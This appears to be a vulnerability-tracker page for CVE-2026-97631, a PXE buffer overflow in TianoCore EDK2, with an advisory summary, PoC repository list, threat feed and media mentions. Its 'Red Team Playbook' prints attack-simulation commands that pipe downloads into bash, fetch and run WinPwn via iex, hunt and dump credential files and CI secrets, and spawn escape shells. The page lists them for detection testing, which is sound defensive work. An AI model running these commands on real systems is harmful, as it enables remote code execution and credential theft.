CVE-2026-97631

CRITICAL POC Pub 22/10 Upd 30/10

Overview

The vulnerability in TianoCore EDK2 is a classic buffer overflow caused by incorrect calculation of buffer sizes leading to out-of-bounds writes. This flaw arises within the BIOS component, where insufficient validation of input data length allows memory corruption. The root cause is improper boundary checks during buffer allocation or manipulation in the firmware code paths handling remote input.

Vulnerability Description

EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code within the BIOS environment, potentially gaining persistent control over the system firmware. This can lead to complete compromise of confidentiality, integrity, and availability of the affected device. The attacker can manipulate system boot processes, bypass security controls, and disrupt normal operations, resulting in severe business impact including data breaches, system downtime, or persistent malware implantation.

Solution

Users of TianoCore EDK2 should apply the security updates referenced in the official GitHub advisory GHSA-99cj-7hg9-mp4m, which addresses this vulnerability. The advisory provides specific patches to correct buffer size calculations and improve input validation in the BIOS firmware. Administrators should follow the update instructions detailed at the GitHub security advisory page to ensure the firmware is upgraded to a secure version. No alternative workarounds are documented in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
slabbdev/uefi-pxe-cve-2026-97631
 slabbdev 1 1 2026-10-28 View
Try2Take/CVE-2026-97631-PoC
An educational laboratory for studying a PXE network-boot vulnerability in EDK II / OVMF. It builds a pinned EDK II revi...
 Try2Take 1 0 2026-10-29 View
RayanZiani/Bootjack
CVE-2026-97631 C
RayanZiani 0 0 2026-10-29 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Considerable activity

Threat Feed

10 events
2026-11-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-31
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-28
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-10-28
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-10-27
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
79% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

Mentions (50)

102 mentions from 78 sources in the last 7 days BuzzFactor 100 / 100

  • social bsky.app @psoheil.bsky.social 2026-11-02 18:12 UTC
    Critical UEFI Firmware Vulnerability Exposes Server Infrastructure to Remote Code Execution CVE-2026-97631 #Cybersecurity #UEFI #FirmwareSecurity #VulnerabilityManagement #ZeroTrust #InfrastructureSecurity #CVE202697631 #EnterpriseSecurity…
    Open source
  • social c.im @psoheil 2026-11-02 18:10 UTC
    Critical UEFI Firmware Vulnerability Exposes Server Infrastructure to Remote Code Execution A newly disclosed vulnerability, CVE-2026-97631, has exposed a serious security weakness in TianoCore EDK II, an open-source firmware development f…
    Open source
  • news thehackernews.com 2026-11-02 16:57 UTC
    ⚡ Weekly Recap: Critical CVEs, Linux DDoS Botnet, Device-Code Phishing, Android Spyware and More - The Hacker News
    Open source
  • social bsky.app @incidentsecure.org 2026-10-31 19:05 UTC
    5 Myths About the TianoCore UEFI Flaw (CVE-2026-97631) #IncidentResponse #infosec
    Open source
  • social bsky.app @codewithromi.bsky.social 2026-10-31 14:00 UTC
    if you run self-hosted servers, disable PXE boot right now. CVE-2026-97631 is a 9.5 UEFI firmware RCE with no patch yet and that's the only real mitigation. wrote the whole thing up on the blog #homelab #selfhosted #cybersecurity
    Open source
  • social bsky.app @ercanceviz.bsky.social 2026-10-31 08:35 UTC
    CVE-2026-97631: UEFI’deki Kritik Açık Sunucuları Tehdit Ediyor CVE-2026-97631 koduyla izlenen kritik açık, TianoCore EDK II'deki PXE sürücüsünü hedef alıyor. Yerel ağa erişen saldırgan, işletim sistemi açılmadan UEFI düzeyinde kod çalıştır…
    Open source
  • social bsky.app @billingsley.bsky.social 2026-10-31 08:10 UTC
    COGNOSCERE Tech Brief — 2026-10-31 CVE-2026-97631 is a CVSS 9.5 buffer overflow in TianoCore EDK II's PXE network-b https://youtube.com/watch?v=xfT_Cd8or58 https://www.cognoscerellc.com/news
    Open source
  • social bsky.app @sanaldata.bsky.social 2026-10-31 07:43 UTC
    CVE-2026-97631 UEFI Açığı PXE Sunucularını Etkiliyor TianoCore EDK II’deki CVE-2026-97631 açığı CVSS ölçeğinde 9,5 puanla kritik olarak değerlendiriliyor. PXE üzerinden ağdan başlatılan sunucuların yapılandırması ve üretici güncellemeleri…
    Open source
  • news techgig.com 2026-10-31 07:00 UTC
    Critical UEFI boot flaw affects most servers worldwide - TechGig
    Open source
  • news techgig.com 2026-10-31 04:20 UTC
    Critical UEFI boot flaw affects most servers worldwide - TechGig
    Open source
  • social mastodon.social @linuxmint_hun 2026-10-30 22:19 UTC
    CW: részletek sérülékenységről TianoCore EDK II PXE Base Code driverében klasszikus puffer-túlcsordulást találtak (CVE-2026-97631, CVSSv4 9.5). Kihasználható PXE boot közben, ha a támadó eléri a boot hálózatot (IPv4/IPv6 ICMP hibamező túlc…
    Open source
  • news t.co 2026-10-30 22:16 UTC
    Security Roundup Covers Anthropic Intrusion Dispute, UEFI Flaw and Cloudflare AI Data Leak · cyber.hendryadrian.com - Howl.Link
    Open source
  • news theindianpanorama.news 2026-10-30 17:36 UTC
    After PHP, critical EDK2 flaw puts millions of servers at risk of hacking - The Indian Panorama
    Open source
  • social infosec.exchange @116797276219291526 2026-10-30 17:20 UTC
    A critical 16-year-old UEFI firmware vulnerability (CVE-2026-97631) in TianoCore EDK II allows pre-boot code execution. Learn how to protect your servers. # UEFI # CyberSecurity # CVE202697631 # TianoCore # InfoSec https:// dailytechnow.co…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-10-30 17:20 UTC
    A critical 16-year-old UEFI firmware vulnerability (CVE-2026-97631) in TianoCore EDK II allows pre-boot code execution. Learn how to protect your servers. #UEFI #CyberSecurity #CVE202697631 #TianoCore #InfoSec
    Open source
  • social infosec.exchange @116710323468652980 2026-10-30 16:25 UTC
    CVE-2026-97631: UEFI RCE in EDK II PXE before Secure Boot 🔗 https:// cybersecurefox.com/en/cve-2026 -97631-edk2-pxe-buffer-overflow-uefi-rce # CVE -2026-97631 # EDK # II # UEFI # PXE # boot # buffer # overflow
    Open source
  • news securityweek.com 2026-10-30 14:58 UTC
    In Other News: Anthropic Breach Dispute, UEFI Flaw Hits Most Servers, Cloudflare AI Data Leak - SecurityWeek
    Open source
  • other poliverso.org 2026-10-30 14:40 UTC
    This Week in Security: Broken Embargoes, UEFI Overflow, Wormable Tailscale, Starlink Ad Snooping, and a DHS Directory Dump Last week brought us at least two broken embargoes: php2shell leaked onto Hacker News a day early, and a batch of Li…
    Open source
  • social bsky.app @cultcoders.bsky.social 2026-10-30 14:07 UTC
    Kritische Firmware-Lücke gefährdet fast alle Server weltweit - IT-Security... CVE-2026-97631 #CyberSecurity #Vulnerabilty #ITSecurity #EDKII #Tianocore #Firmware #UEFI #Server #PXE #CVE www.derstandard.at/story/300000...
    Open source
  • social bsky.app @billingsley.bsky.social 2026-10-30 08:11 UTC
    COGNOSCERE Tech Brief — 2026-10-30 CVE-2026-97631, a buffer overflow in TianoCore EDK II's PXE network-boot driver, https://youtube.com/watch?v=fri6DnBmGy8 https://www.cognoscerellc.com/news
    Open source
  • social bsky.app @securityonline.bsky.social 2026-10-30 07:42 UTC
    A critical TianoCore UEFI vulnerability enables pre-boot remote code execution on servers via PXE network boot drivers, bypassing Secure Boot defenses. #UEFI #Cybersecurity #TianoCore #Firmware #InfoSec #SysAdmin
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-10-30 04:43 UTC
    CVE-2026-97631: TianoCore EDK II Vulnerability Could Allow Remote Code Execution Before Operating System Startup + Video Introduction: A Network Attack That Can Reach Below the Operating System A vulnerability in TianoCore EDK II highlight…
    Open source
  • social bsky.app @appinn.bsky.social 2026-10-30 04:34 UTC
    安全研究人员最近公开了一个存在约 16 年的 UEFI 固件漏洞，编号为 CVE-2026-97631，严重程度评分高达 9.5 分（满分 10 分）。 据 Ars Technica 报道，这个漏洞存在于广泛使用的开源 UEFI 固件开发框架 EDK II 中，具体位于负责 PXE
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-10-30 04:00 UTC
    CVE-2026-97631 in TianoCore EDK II can let an unauthenticated network attacker trigger pre-boot code execution during PXE boot by delivering ICMP error messages. A fix was merged, but no patched release had been issued.
    Open source
  • news blog.desdelinux.net 2026-10-30 01:35 UTC
    A flaw in the PXE boot process allows Secure Boot to be bypassed and malware to be executed with full privileges from the BIOS. - Desde Linux
    Open source
  • social bsky.app @threatroundup.bsky.social 2026-10-29 19:13 UTC
    A buffer overflow in UEFI network-boot code, there since 2010, can let someone on your LAN run code before Secure Boot. CVE-2026-97631 is rated 9.5; firmware updates are still coming. threatroundup.com/news/edk2-px...
    Open source
  • social bsky.app @elcompilado.com 2026-10-29 19:00 UTC
    Una falla de 16 años en EDK II deja correr código antes de Secure Boot en servidores que arrancan por red
    Open source
  • news rescana.com 2026-10-29 17:39 UTC
    Linux Kernel CVE-2026-98432: Critical TCP Use-After-Free, No RHEL or Ubuntu Fix Yet - Rescana
    Open source
  • code github.com RayanZiani 2026-10-29 16:02 UTC
    RayanZiani/Bootjack
    Open source
  • social mastodon.social @linuxmint_hun 2026-10-29 15:57 UTC
    CW: sebezhetőség CVE-2026-97631 — memória-kezelési hiba az EDK II (TianoCore) ICMP komponensében. Kódfuttatás firmware szinten (OS előtt), sok szerver/IBV érintett; AMI/Project Mu is használta a kódot. Javítás nyilvános (AMI PR), így a kih…
    Open source
  • social bsky.app @duonggiakhanh.com 2026-10-29 15:30 UTC
    💀 A 2010-era buffer overflow in EDK II's PXE network-boot code (CVE-2026-97631, CVSS 9.5) can run code before Secure Boot. Attacker needs the local network, no exploitation seen yet. Don't need PXE? Turn it off. #cybersecurity #netsec
    Open source
  • social bsky.app @axnews.bsky.social 2026-10-29 14:41 UTC
    🚨 Breaking: CVE-2026-97631 — Critical 9.5 Impacted if: TianoCore EDK2 ≤ edk2-stable202608 Memory corruption · over the network · no login https://ax-news.com/cve/CVE-2026-97631 #CVE #infosec
    Open source
  • social infosec.exchange @117509315927375519 2026-10-29 14:41 UTC
    🚨 Breaking: CVE-2026-97631 — Critical 9.5 Impacted if: TianoCore EDK2 ≤ edk2-stable202608 Memory corruption · over the network · no login https:// ax-news.com/cve/CVE-2026-97631 # CVE # infosec
    Open source
  • news rescana.com 2026-10-29 14:09 UTC
    VMware ESX CVE-2026-41709: Low-Rated Logging Flaw Now in CISA KEV After Zero-Day Use - Rescana
    Open source
